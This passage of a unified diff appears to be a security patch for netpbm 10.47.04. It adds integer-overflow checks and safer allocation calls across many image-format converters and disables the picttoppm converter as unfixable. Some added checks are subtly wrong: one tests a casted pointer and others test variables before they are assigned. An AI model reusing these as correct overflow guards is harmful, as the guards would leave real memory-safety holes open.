             (((h10P->pixmap_width + 15) / 16) * 16 - h10P->pixmap_width) * 8;
         *bits_per_itemP = 16;
@@ -634,6 +638,7 @@ processX11Header(X11WDFileHeader *  cons
 
     *colsP = h11FixedP->pixmap_width;
     *rowsP = h11FixedP->pixmap_height;
+    overflow2(h11FixedP->bytes_per_line, 8);
     *padrightP =
         h11FixedP->bytes_per_line * 8 -
         h11FixedP->pixmap_width * h11FixedP->bits_per_pixel;
diff -up netpbm-10.47.04/converter/pbm/icontopbm.c.security netpbm-10.47.04/converter/pbm/icontopbm.c
--- netpbm-10.47.04/converter/pbm/icontopbm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/icontopbm.c	2009-10-21 15:09:33.000000000 +0200
@@ -11,6 +11,7 @@
 */
 
 #include <string.h>
+#include <limits.h>
 
 #include "nstring.h"
 #include "pbm.h"
@@ -87,6 +88,11 @@ ReadIconFile(FILE *                const
     if ( *heightP <= 0 )
         pm_error( "invalid height (must be positive): %d", *heightP );
 
+    if ( *widthP > INT_MAX - 16 || *widthP < 0)
+        pm_error( "invalid width: %d", *widthP);
+    
+    overflow2(*widthP + 16, *heightP);
+    
     data_length = BitmapSize( *widthP, *heightP );
     *dataP = (short unsigned int *) malloc( data_length );
     if ( *dataP == NULL )
diff -up netpbm-10.47.04/converter/pbm/mdatopbm.c.security netpbm-10.47.04/converter/pbm/mdatopbm.c
--- netpbm-10.47.04/converter/pbm/mdatopbm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/mdatopbm.c	2009-10-21 15:09:33.000000000 +0200
@@ -245,10 +245,13 @@ main(int argc, char **argv) {
         pm_readlittleshort(infile, &yy); nInCols = yy;
     }
     
+    overflow2(nOutCols, 8);
     nOutCols = 8 * nInCols;
     nOutRows = nInRows;
-    if (bScale) 
+    if (bScale) {
+        overflow2(nOutRows, 2);
         nOutRows *= 2;
+    }
 
     data = pbm_allocarray(nOutCols, nOutRows);
     
diff -up netpbm-10.47.04/converter/pbm/mgrtopbm.c.security netpbm-10.47.04/converter/pbm/mgrtopbm.c
--- netpbm-10.47.04/converter/pbm/mgrtopbm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/mgrtopbm.c	2009-10-21 15:09:33.000000000 +0200
@@ -65,6 +65,8 @@ readMgrHeader(FILE *          const ifP,
     if (head.h_high < ' ' || head.l_high < ' ')
         pm_error("Invalid width field in MGR header");
     
+    overflow_add(*colsP, pad);
+
     *colsP = (((int)head.h_wide - ' ') << 6) + ((int)head.l_wide - ' ');
     *rowsP = (((int)head.h_high - ' ') << 6) + ((int) head.l_high - ' ');
     *padrightP = ( ( *colsP + pad - 1 ) / pad ) * pad - *colsP;
diff -up netpbm-10.47.04/converter/pbm/pbmto10x.c.security netpbm-10.47.04/converter/pbm/pbmto10x.c
--- netpbm-10.47.04/converter/pbm/pbmto10x.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/pbmto10x.c	2009-10-21 15:09:33.000000000 +0200
@@ -162,7 +162,7 @@ main(int argc, char * argv[]) {
         res_60x72();
 
     pm_close(ifp);
-    exit(0);
+    return 0;
 }
 
 
diff -up netpbm-10.47.04/converter/pbm/pbmto4425.c.security netpbm-10.47.04/converter/pbm/pbmto4425.c
--- netpbm-10.47.04/converter/pbm/pbmto4425.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/pbmto4425.c	2009-10-21 15:09:33.000000000 +0200
@@ -2,6 +2,7 @@
 
 #include "nstring.h"
 #include "pbm.h"
+#include <string.h>
 
 static char bit_table[2][3] = {
 {1, 4, 0x10},
@@ -160,7 +161,7 @@ main(int argc, char * argv[]) {
     xres = vmap_width * 2;
     yres = vmap_height * 3;
 
-    vmap = malloc(vmap_width * vmap_height * sizeof(char));
+    vmap = malloc3(vmap_width, vmap_height, sizeof(char));
     if(vmap == NULL)
 	{
         pm_error( "Cannot allocate memory" );
diff -up netpbm-10.47.04/converter/pbm/pbmtoascii.c.security netpbm-10.47.04/converter/pbm/pbmtoascii.c
--- netpbm-10.47.04/converter/pbm/pbmtoascii.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/pbmtoascii.c	2009-10-21 15:09:33.000000000 +0200
@@ -115,9 +115,11 @@ char* argv[];
         pm_usage( usage );
 
     pbm_readpbminit( ifp, &cols, &rows, &format );
+    overflow_add(cols, gridx);
     ccols = ( cols + gridx - 1 ) / gridx;
     bitrow = pbm_allocrow( cols );
     sig = (int*) pm_allocrow( ccols, sizeof(int) );
+    overflow_add(ccols, 1);
     line = (char*) pm_allocrow( ccols + 1, sizeof(char) );
 
     for ( row = 0; row < rows; row += gridy )
diff -up netpbm-10.47.04/converter/pbm/pbmtocmuwm.c.security netpbm-10.47.04/converter/pbm/pbmtocmuwm.c
diff -up netpbm-10.47.04/converter/pbm/pbmtogem.c.security netpbm-10.47.04/converter/pbm/pbmtogem.c
--- netpbm-10.47.04/converter/pbm/pbmtogem.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/pbmtogem.c	2009-10-21 15:09:33.000000000 +0200
@@ -123,6 +123,7 @@ putinit (rows, cols)
   bitsperitem = 0;
   bitshift = 7;
   outcol = 0;
+  overflow_add(cols, 7);
   outmax = (cols + 7) / 8;
   outrow = (unsigned char *) pm_allocrow (outmax, sizeof (unsigned char));
   lastrow = (unsigned char *) pm_allocrow (outmax, sizeof (unsigned char));
diff -up netpbm-10.47.04/converter/pbm/pbmtogo.c.security netpbm-10.47.04/converter/pbm/pbmtogo.c
--- netpbm-10.47.04/converter/pbm/pbmtogo.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/pbmtogo.c	2009-10-21 15:09:33.000000000 +0200
@@ -158,6 +158,7 @@ main(int           argc,
     bitrow = pbm_allocrow(cols);
 
     /* Round cols up to the nearest multiple of 8. */
+    overflow_add(cols, 7);
     rucols = ( cols + 7 ) / 8;
     bytesperrow = rucols;       /* GraphOn uses bytes */
     rucols = rucols * 8;
diff -up netpbm-10.47.04/converter/pbm/pbmtoicon.c.security netpbm-10.47.04/converter/pbm/pbmtoicon.c
--- netpbm-10.47.04/converter/pbm/pbmtoicon.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/pbmtoicon.c	2009-10-21 15:38:55.000000000 +0200
@@ -114,6 +114,7 @@ writeIcon(FILE *       const ifP,
     unsigned char * bitrow;
     unsigned int row;
 
+    overflow_add(cols, 15);
     bitbuffer = pbm_allocrow_packed(cols + wordintSize);
     bitrow = &bitbuffer[1];
     bitbuffer[0] = 0;
diff -up netpbm-10.47.04/converter/pbm/pbmtolj.c.security netpbm-10.47.04/converter/pbm/pbmtolj.c
--- netpbm-10.47.04/converter/pbm/pbmtolj.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/pbmtolj.c	2009-10-21 15:09:33.000000000 +0200
@@ -120,7 +120,11 @@ parseCommandLine(int argc, char ** argv,
 static void
 allocateBuffers(unsigned int const cols) {
 
+    overflow_add(cols, 8);
     rowBufferSize = (cols + 7) / 8;
+    overflow_add(rowBufferSize, 128);
+    overflow_add(rowBufferSize, rowBufferSize+128);
+    overflow_add(rowBufferSize+10, rowBufferSize/8);
     packBufferSize = rowBufferSize + (rowBufferSize + 127) / 128 + 1;
     deltaBufferSize = rowBufferSize + rowBufferSize / 8 + 10;
 
diff -up netpbm-10.47.04/converter/pbm/pbmtomacp.c.security netpbm-10.47.04/converter/pbm/pbmtomacp.c
--- netpbm-10.47.04/converter/pbm/pbmtomacp.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/pbmtomacp.c	2009-10-21 15:09:33.000000000 +0200
@@ -101,6 +101,7 @@ char *argv[];
   if( !lflg )
     left = 0;
 
+  overflow_add(left, MAX_COLS - 1);
   if( rflg )
   { if( right - left >= MAX_COLS )
       right = left + MAX_COLS - 1;
@@ -111,6 +112,8 @@ char *argv[];
   if( !tflg )
     top = 0;
 
+  overflow_add(top, MAX_LINES - 1);
+
   if( bflg )
   { if( bottom - top >= MAX_LINES )
       bottom = top + MAX_LINES - 1;
diff -up netpbm-10.47.04/converter/pbm/pbmtomda.c.security netpbm-10.47.04/converter/pbm/pbmtomda.c
--- netpbm-10.47.04/converter/pbm/pbmtomda.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/pbmtomda.c	2009-10-21 15:09:33.000000000 +0200
@@ -179,6 +179,7 @@ int main(int argc, char **argv)
     
     nOutRowsUnrounded = bScale ? nInRows/2 : nInRows;
 
+    overflow_add(nOutRowsUnrounded, 3);
     nOutRows = ((nOutRowsUnrounded + 3) / 4) * 4;
         /* MDA wants rows a multiple of 4 */   
     nOutCols = nInCols / 8;
diff -up netpbm-10.47.04/converter/pbm/pbmtomgr.c.security netpbm-10.47.04/converter/pbm/pbmtomgr.c
diff -up netpbm-10.47.04/converter/pbm/pbmtoppa/pbm.c.security netpbm-10.47.04/converter/pbm/pbmtoppa/pbm.c
--- netpbm-10.47.04/converter/pbm/pbmtoppa/pbm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/pbmtoppa/pbm.c	2009-10-21 15:09:33.000000000 +0200
@@ -105,6 +105,7 @@ int pbm_readline(pbm_stat* pbm,unsigned 
     return 0;
 
   case P4:
+    overflow_add(pbm->width, 7);
     tmp=(pbm->width+7)/8;
     tmp2=fread(data,1,tmp,pbm->fptr);
     if(tmp2 == tmp)
@@ -129,7 +130,8 @@ void pbm_unreadline (pbm_stat *pbm, void
     return;
 
   pbm->unread = 1;
-  pbm->revdata = malloc ((pbm->width+7)/8);
+  overflow_add(pbm->width, 7);
+  pbm->revdata = malloc((pbm->width+7)/8);
   memcpy (pbm->revdata, data, (pbm->width+7)/8);
   pbm->current_line--;
 }
diff -up netpbm-10.47.04/converter/pbm/pbmtoppa/pbmtoppa.c.security netpbm-10.47.04/converter/pbm/pbmtoppa/pbmtoppa.c
--- netpbm-10.47.04/converter/pbm/pbmtoppa/pbmtoppa.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/pbmtoppa/pbmtoppa.c	2009-10-21 15:09:33.000000000 +0200
@@ -441,6 +441,7 @@ main(int argc, char *argv[]) {
             pm_error("main(): unrecognized parameter '%s'", argv[argn]);
     }
 
+    overflow_add(Width, 7);
     Pwidth=(Width+7)/8;
     printer.fptr=out;
 
diff -up netpbm-10.47.04/converter/pbm/pbmtoxbm.c.security netpbm-10.47.04/converter/pbm/pbmtoxbm.c
--- netpbm-10.47.04/converter/pbm/pbmtoxbm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/pbmtoxbm.c	2009-10-21 15:36:54.000000000 +0200
@@ -335,6 +335,8 @@ convertRaster(FILE *          const ifP,
 
     unsigned char * bitrow;
     unsigned int row;
+    
+    overflow_add(cols, padright);
 
     putinit(xbmVersion);
 
diff -up netpbm-10.47.04/converter/pbm/pbmtoybm.c.security netpbm-10.47.04/converter/pbm/pbmtoybm.c
--- netpbm-10.47.04/converter/pbm/pbmtoybm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/pbmtoybm.c	2009-10-21 15:09:33.000000000 +0200
@@ -45,6 +45,7 @@ main( argc, argv )
     bitrow = pbm_allocrow( cols );
     
     /* Compute padding to round cols up to the nearest multiple of 16. */
+    overflow_add(cols, 16);
     padright = ( ( cols + 15 ) / 16 ) * 16 - cols;
 
     putinit( cols, rows );
diff -up netpbm-10.47.04/converter/pbm/pbmtozinc.c.security netpbm-10.47.04/converter/pbm/pbmtozinc.c
--- netpbm-10.47.04/converter/pbm/pbmtozinc.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/pbmtozinc.c	2009-10-21 15:09:33.000000000 +0200
@@ -65,6 +65,7 @@ main(int argc, char * argv[]) {
     bitrow = pbm_allocrow( cols );
 
     /* Compute padding to round cols up to the nearest multiple of 16. */
+    overflow_add(cols, 16);
     padright = ( ( cols + 15 ) / 16 ) * 16 - cols;
 
     printf( "USHORT %s[] = {\n",name);
diff -up netpbm-10.47.04/converter/pbm/pktopbm.c.security netpbm-10.47.04/converter/pbm/pktopbm.c
--- netpbm-10.47.04/converter/pbm/pktopbm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/pktopbm.c	2009-10-21 15:09:33.000000000 +0200
@@ -277,6 +277,7 @@ main(int argc, char *argv[]) {
         if (flagbyte == 7) {            /* long form preamble */
             integer packetlength = get32() ;    /* character packet length */
             car = get32() ;         /* character number */
+            overflow_add(packetlength, pktopbm_pkloc);
             endofpacket = packetlength + pktopbm_pkloc;
                 /* calculate end of packet */
             if ((car >= MAXPKCHAR) || !filename[car]) {
diff -up netpbm-10.47.04/converter/pbm/thinkjettopbm.l.security netpbm-10.47.04/converter/pbm/thinkjettopbm.l
--- netpbm-10.47.04/converter/pbm/thinkjettopbm.l.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/thinkjettopbm.l	2009-10-21 15:09:33.000000000 +0200
@@ -107,7 +107,9 @@ DIG             [0-9]
 <RASTERMODE>\033\*b{DIG}+W  {
                             int l;
                             if (rowCount >= rowCapacity) {
+				overflow_add(rowCapacity, 100);
                                 rowCapacity += 100;
+				overflow2(rowCapacity, sizeof *rows);
                                 rows = realloc (rows, rowCapacity * sizeof *rows);
                                 if (rows == NULL)
                                     pm_error ("Out of memory.");
@@ -217,6 +219,8 @@ yywrap (void)
     /*
      * Quite simple since ThinkJet bit arrangement matches PBM
      */
+
+    overflow2(maxRowLength, 8);
     pbm_writepbminit(stdout, maxRowLength*8, rowCount, 0);
 
     packed_bitrow = malloc(maxRowLength);
diff -up netpbm-10.47.04/converter/pbm/ybmtopbm.c.security netpbm-10.47.04/converter/pbm/ybmtopbm.c
--- netpbm-10.47.04/converter/pbm/ybmtopbm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/pbm/ybmtopbm.c	2009-10-21 15:09:33.000000000 +0200
@@ -88,6 +88,7 @@ getinit( file, colsP, rowsP, depthP, pad
 	pm_error( "EOF / read error" );
 
     *depthP = 1;
+    overflow_add(*colsP, 15);
     *padrightP = ( ( *colsP + 15 ) / 16 ) * 16 - *colsP;
     bitsperitem = 0;
     }
diff -up netpbm-10.47.04/converter/pgm/lispmtopgm.c.security netpbm-10.47.04/converter/pgm/lispmtopgm.c
--- netpbm-10.47.04/converter/pgm/lispmtopgm.c.security	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/pgm/lispmtopgm.c	2009-10-21 15:09:33.000000000 +0200
@@ -58,6 +58,7 @@ main( argc, argv )
         pm_error( "depth (%d bits) is too large", depth);
 
     pgm_writepgminit( stdout, cols, rows, (gray) maxval, 0 );
+    overflow_add(cols, 7);
     grayrow = pgm_allocrow( ( cols + 7 ) / 8 * 8 );
 
     for ( row = 0; row < rows; ++row )
@@ -102,7 +103,9 @@ getinit( file, colsP, rowsP, depthP, pad
     
     if ( *depthP == 0 )
 	*depthP = 1;	/* very old file */
-    
+
+    overflow_add((int)colsP, 31);
+        
     *padrightP = ( ( *colsP + 31 ) / 32 ) * 32 - *colsP;
     
     if ( *colsP != (cols_32 - *padrightP) ) {
diff -up netpbm-10.47.04/converter/pgm/psidtopgm.c.security netpbm-10.47.04/converter/pgm/psidtopgm.c
--- netpbm-10.47.04/converter/pgm/psidtopgm.c.security	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/pgm/psidtopgm.c	2009-10-21 15:09:33.000000000 +0200
@@ -78,6 +78,7 @@ main(int     argc,
         pm_error("bits/sample (%d) is too large.", bitspersample);
 
     pgm_writepgminit(stdout, cols, rows, maxval, 0);
+    overflow_add(cols, 7);
     grayrow = pgm_allocrow((cols + 7) / 8 * 8);
     for (row = 0; row < rows; ++row) {
         unsigned int col;
diff -up netpbm-10.47.04/converter/ppm/ilbmtoppm.c.security netpbm-10.47.04/converter/ppm/ilbmtoppm.c
--- netpbm-10.47.04/converter/ppm/ilbmtoppm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ilbmtoppm.c	2009-10-21 15:09:33.000000000 +0200
@@ -594,6 +594,7 @@ decode_row(FILE *          const ifP,
     rawtype *chp;
 
     cols = bmhdP->w;
+    overflow_add(cols, 15);
     bytes = RowBytes(cols);
     for( plane = 0; plane < nPlanes; plane++ ) {
         int mask;
@@ -681,6 +682,23 @@ decode_mask(FILE *          const ifP,
  Multipalette handling
  ****************************************************************************/
 
+static void *
+xmalloc2(x, y)
+    int x;
+    int y;
+{
+    void *mem;
+
+    overflow2(x,y);
+    if( x * y == 0 )
+        return NULL;
+
+    mem = malloc2(x,y);
+    if( mem == NULL )
+        pm_error("out of memory allocating %d bytes", x * y);
+    return mem;
+}
+
 
 static void
 multi_adjust(cmap, row, palchange)
@@ -1300,6 +1318,9 @@ dcol_to_ppm(FILE *         const ifP,
     if( redmaxval != maxval || greenmaxval != maxval || bluemaxval != maxval )
         pm_message("scaling colors to %d bits", pm_maxvaltobits(maxval));
     
+    overflow_add(redmaxval, 1);
+    overflow_add(greenmaxval, 1);
+    overflow_add(bluemaxval, 1);
     MALLOCARRAY_NOFAIL(redtable,   redmaxval   +1);
     MALLOCARRAY_NOFAIL(greentable, greenmaxval +1);
     MALLOCARRAY_NOFAIL(bluetable,  bluemaxval  +1);
@@ -1729,7 +1750,9 @@ PCHG_ConvertSmall(PCHG, cmap, mask, data
             ChangeCount32 = *data++;
             datasize -= 2;
 
+            overflow_add(ChangeCount16, ChangeCount32);
             changes = ChangeCount16 + ChangeCount32;
+            overflow_add(changes, 1);
             for( i = 0; i < changes; i++ ) {
                 if( totalchanges >= PCHG->TotalChanges ) goto fail;
                 if( datasize < 2 ) goto fail;
@@ -1994,6 +2017,9 @@ read_pchg(FILE *     const ifp,
             cmap->mp_change[i] = NULL;
         if( PCHG.StartLine < 0 ) {
             int nch;
+            if(PCHG.MaxReg < PCHG.MinReg)
+                pm_error("assert: MinReg > MaxReg");
+            overflow_add(PCHG.MaxReg-PCHG.MinReg, 2);
             nch = PCHG.MaxReg - PCHG.MinReg +1;
             MALLOCARRAY_NOFAIL(cmap->mp_init, nch + 1);
             for( i = 0; i < nch; i++ )
@@ -2070,6 +2096,7 @@ process_body( FILE *          const ifp,
     if( typeid == ID_ILBM ) {
         int isdeep;
 
+        overflow_add(bmhdP->w, 15);
         MALLOCARRAY_NOFAIL(ilbmrow, RowBytes(bmhdP->w));
         *viewportmodesP |= fakeviewport;      /* -isham/-isehb */
 
diff -up netpbm-10.47.04/converter/ppm/imgtoppm.c.security netpbm-10.47.04/converter/ppm/imgtoppm.c
--- netpbm-10.47.04/converter/ppm/imgtoppm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/imgtoppm.c	2009-10-21 15:09:33.000000000 +0200
@@ -84,6 +84,7 @@ main(int argc, char ** argv) {
             len = atoi((char*) buf );
             if ( fread( buf, len, 1, ifp ) != 1 )
                 pm_error( "bad colormap buf" );
+            overflow2(cmaplen, 3);
             if ( cmaplen * 3 != len )
             {
                 pm_message(
@@ -105,6 +106,7 @@ main(int argc, char ** argv) {
                 pm_error( "bad pixel data header" );
             buf[8] = '\0';
             len = atoi((char*) buf );
+            overflow2(cols, rows);
             if ( len != cols * rows )
                 pm_message(
                     "pixel data length (%d) does not match image size (%d)",
diff -up netpbm-10.47.04/converter/ppm/Makefile.security netpbm-10.47.04/converter/ppm/Makefile
--- netpbm-10.47.04/converter/ppm/Makefile.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/Makefile	2009-10-21 15:09:33.000000000 +0200
@@ -11,7 +11,7 @@ SUBDIRS = hpcdtoppm ppmtompeg
 
 PORTBINARIES =	411toppm eyuvtoppm gouldtoppm ilbmtoppm imgtoppm \
 		leaftoppm mtvtoppm neotoppm \
-		pcxtoppm pc1toppm pi1toppm picttoppm pjtoppm \
+		pcxtoppm pc1toppm pi1toppm pjtoppm \
 		ppmtoacad ppmtoarbtxt \
 		ppmtobmp ppmtoeyuv ppmtogif ppmtoicr ppmtoilbm \
 		ppmtoleaf ppmtolj ppmtomitsu ppmtoneo \
diff -up netpbm-10.47.04/converter/ppm/pcxtoppm.c.security netpbm-10.47.04/converter/ppm/pcxtoppm.c
--- netpbm-10.47.04/converter/ppm/pcxtoppm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/pcxtoppm.c	2009-10-21 15:09:33.000000000 +0200
@@ -409,6 +409,7 @@ pcx_planes_to_pixels(pixels, bitplanes, 
     /*
      * clear the pixel buffer
      */
+    overflow2(bytesperline, 8);
     npixels = (bytesperline * 8) / bitsperpixel;
     p    = pixels;
     while (--npixels >= 0)
@@ -470,6 +471,7 @@ pcx_16col_to_ppm(FILE *       const ifP,
     }
 
     /*  BytesPerLine should be >= BitsPerPixel * cols / 8  */
+    overflow2(BytesPerLine, 8);
     rawcols = BytesPerLine * 8 / BitsPerPixel;
     if (headerCols > rawcols) {
         pm_message("warning - BytesPerLine = %d, "
diff -up netpbm-10.47.04/converter/ppm/picttoppm.c.security netpbm-10.47.04/converter/ppm/picttoppm.c
--- netpbm-10.47.04/converter/ppm/picttoppm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/picttoppm.c	2009-10-21 15:09:33.000000000 +0200
@@ -1,3 +1,5 @@
+#error "Unfixable. Don't ship me"
+
 /*
  * picttoppm.c -- convert a MacIntosh PICT file to PPM format.
  *
diff -up netpbm-10.47.04/converter/ppm/pjtoppm.c.security netpbm-10.47.04/converter/ppm/pjtoppm.c
--- netpbm-10.47.04/converter/ppm/pjtoppm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/pjtoppm.c	2009-10-21 15:09:33.000000000 +0200
@@ -127,19 +127,21 @@ main(argc, argv)
                 case 'V':   /* send plane */
                 case 'W':   /* send last plane */
                     if (rows == -1 || r >= rows || image == NULL) {
-                        if (rows == -1 || r >= rows)
+                        if (rows == -1 || r >= rows) {
+                            overflow_add(rows, 100);
                             rows += 100;
+                        }
                         if (image == NULL) {
-                            MALLOCARRAY(image, rows * planes);
-                            MALLOCARRAY(imlen, rows * planes);
+                            image = (unsigned char **)
+                                malloc3(rows , planes , sizeof(unsigned char *));
+                            imlen = (int *) malloc3(rows , planes,  sizeof(int));
                         }
                         else {
+                            overflow2(rows,planes);
                             image = (unsigned char **) 
-                                realloc(image, 
-                                        rows * planes * 
+                                realloc2(image, rows * planes,
                                         sizeof(unsigned char *));
-                            imlen = (int *) 
-                                realloc(imlen, rows * planes * sizeof(int));
+                            imlen = (int *) realloc2(imlen, rows * planes, sizeof(int));
                         }
                     }
                     if (image == NULL || imlen == NULL)
@@ -212,8 +214,10 @@ main(argc, argv)
                 for (i = 0, c = 0; c < imlen[p + r * planes]; c += 2)
                     for (cmd = image[p + r * planes][c],
                              val = image[p + r * planes][c+1]; 
-                         cmd >= 0 && i < newcols; cmd--, i++) 
+                         cmd >= 0 && i < newcols; cmd--, i++) {
                         buf[i] = val;
+                        overflow_add(i, 1);
+                    }
                 cols = cols > i ? cols : i;
                 free(image[p + r * planes]);
                 /* 
@@ -224,6 +228,7 @@ main(argc, argv)
                 image[p + r * planes] = (unsigned char *) realloc(buf, i);
             }
         }
+        overflow2(cols, 8);
         cols *= 8;
     }
             
diff -up netpbm-10.47.04/converter/ppm/ppmtoeyuv.c.security netpbm-10.47.04/converter/ppm/ppmtoeyuv.c
--- netpbm-10.47.04/converter/ppm/ppmtoeyuv.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ppmtoeyuv.c	2009-10-21 15:09:33.000000000 +0200
@@ -114,6 +114,7 @@ create_multiplication_tables(const pixva
 
     int index;
 
+    overflow_add(maxval, 1);
     MALLOCARRAY_NOFAIL(mult299   , maxval+1);
     MALLOCARRAY_NOFAIL(mult587   , maxval+1);
     MALLOCARRAY_NOFAIL(mult114   , maxval+1);
diff -up netpbm-10.47.04/converter/ppm/ppmtoicr.c.security netpbm-10.47.04/converter/ppm/ppmtoicr.c
--- netpbm-10.47.04/converter/ppm/ppmtoicr.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ppmtoicr.c	2009-10-21 15:09:33.000000000 +0200
@@ -169,7 +169,7 @@ char* argv[];
 
 	if (rleflag) {	
 		pm_message("sending run-length encoded picture data ..." );
-		testimage = (char*) malloc(rows*cols);
+		testimage = (char*) malloc2(rows, cols);
 		p = testimage;
 		for (i=0; i<rows; i++)
 			for (j=0; j<cols; j++) 
diff -up netpbm-10.47.04/converter/ppm/ppmtoilbm.c.security netpbm-10.47.04/converter/ppm/ppmtoilbm.c
--- netpbm-10.47.04/converter/ppm/ppmtoilbm.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ppmtoilbm.c	2009-10-21 15:47:50.000000000 +0200
@@ -1214,6 +1214,7 @@ ppm_to_rgb8(ifP, cols, rows, maxval)
 
     maskmethod = 0;     /* no masking - RGB8 uses genlock bits */
     compmethod = 4;     /* RGB8 files are always compressed */
+    overflow2(cols, 4);
     MALLOCARRAY_NOFAIL(compr_row, cols * 4);
 
     if( maxval != 255 ) {
@@ -1302,6 +1303,7 @@ ppm_to_rgbn(ifP, cols, rows, maxval)
 
     maskmethod = 0;     /* no masking - RGBN uses genlock bits */
     compmethod = 4;     /* RGBN files are always compressed */
+    overflow2(cols, 2);
     MALLOCARRAY_NOFAIL(compr_row, cols * 2);
 
     if( maxval != 15 ) {
@@ -1779,6 +1781,7 @@ make_val_table(oldmaxval, newmaxval)
     unsigned int i;
     int * table;
 
+    overflow_add(oldmaxval, 1);
     MALLOCARRAY_NOFAIL(table, oldmaxval + 1);
     for (i = 0; i <= oldmaxval; ++i)
         table[i] = ROUNDDIV(i * newmaxval, oldmaxval);
@@ -2283,8 +2286,11 @@ main(int argc, char ** argv) {
         MALLOCARRAY_NOFAIL(coded_rowbuf, RowBytes(cols));
         for (i = 0; i < RowBytes(cols); ++i)
             coded_rowbuf[i] = 0;
-        if (DO_COMPRESS)
+        if (DO_COMPRESS) {
+            overflow2(cols,2);
+            overflow_add(cols*2,2);
             MALLOCARRAY_NOFAIL(compr_rowbuf, WORSTCOMPR(RowBytes(cols)));
+	}
     }
     
     switch (mode) {
diff -up netpbm-10.47.04/converter/ppm/ppmtolj.c.security netpbm-10.47.04/converter/ppm/ppmtolj.c
--- netpbm-10.47.04/converter/ppm/ppmtolj.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ppmtolj.c	2009-10-21 15:09:33.000000000 +0200
@@ -181,7 +181,8 @@ int main(int argc, char *argv[]) {
 
     ppm_readppminit( ifp, &cols, &rows, &maxval, &format );
     pixelrow = ppm_allocrow( cols );
-
+    
+    overflow2(cols, 6);
     obuf = (unsigned char *) pm_allocrow(cols * 3, sizeof(unsigned char));
     cbuf = (unsigned char *) pm_allocrow(cols * 6, sizeof(unsigned char));
     if (mode == C_TRANS_MODE_DELTA)
diff -up netpbm-10.47.04/converter/ppm/ppmtomitsu.c.security netpbm-10.47.04/converter/ppm/ppmtomitsu.c
--- netpbm-10.47.04/converter/ppm/ppmtomitsu.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ppmtomitsu.c	2009-10-21 15:48:30.000000000 +0200
@@ -685,6 +685,8 @@ main(int argc, char * argv[]) {
         medias = MSize_User;
 
     if (dpi300) {
+        overflow2(medias.maxcols, 2);
+        overflow2(medias.maxrows, 2);
         medias.maxcols *= 2;
         medias.maxrows *= 2;
     }
diff -up netpbm-10.47.04/converter/ppm/ppmtompeg/iframe.c.security netpbm-10.47.04/converter/ppm/ppmtompeg/iframe.c
--- netpbm-10.47.04/converter/ppm/ppmtompeg/iframe.c.security	2009-10-21 13:39:09.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ppmtompeg/iframe.c	2009-10-21 15:09:33.000000000 +0200
@@ -800,7 +800,8 @@ BlockComputeSNR(MpegFrame * const curren
     if (needs_init) {
         int ysz = (Fsize_y>>3) * sizeof(int32 *);
         int xsz = (Fsize_x>>3);
-    
+
+	overflow2((Fsize_y>>3), sizeof(int32 *));
         needs_init = FALSE;
         for (y=0; y<3; y++) {
             varDiff[y] = ratio[y] = total[y] = 0.0;
@@ -819,6 +820,7 @@ BlockComputeSNR(MpegFrame * const curren
             fprintf(stderr, "Out of memory in BlockComputeSNR\n");
             exit(-1);
         }
+	overflow2(xsz,4);
         for (y = 0; y < ySize[0]>>3; y++) {
             SignalY[y]  = (int32 *) calloc(xsz,4);
             SignalCr[y]  = (int32 *) calloc(xsz,4);
diff -up netpbm-10.47.04/converter/ppm/ppmtompeg/parallel.c.security netpbm-10.47.04/converter/ppm/ppmtompeg/parallel.c
--- netpbm-10.47.04/converter/ppm/ppmtompeg/parallel.c.security	2009-10-21 13:39:10.000000000 +0200
+++ netpbm-10.47.04/converter/ppm/ppmtompeg/parallel.c	2009-10-21 15:09:33.000000000 +0200
@@ -2161,7 +2161,9 @@ DecodeServer(int          const numInput
     const char * error;
 
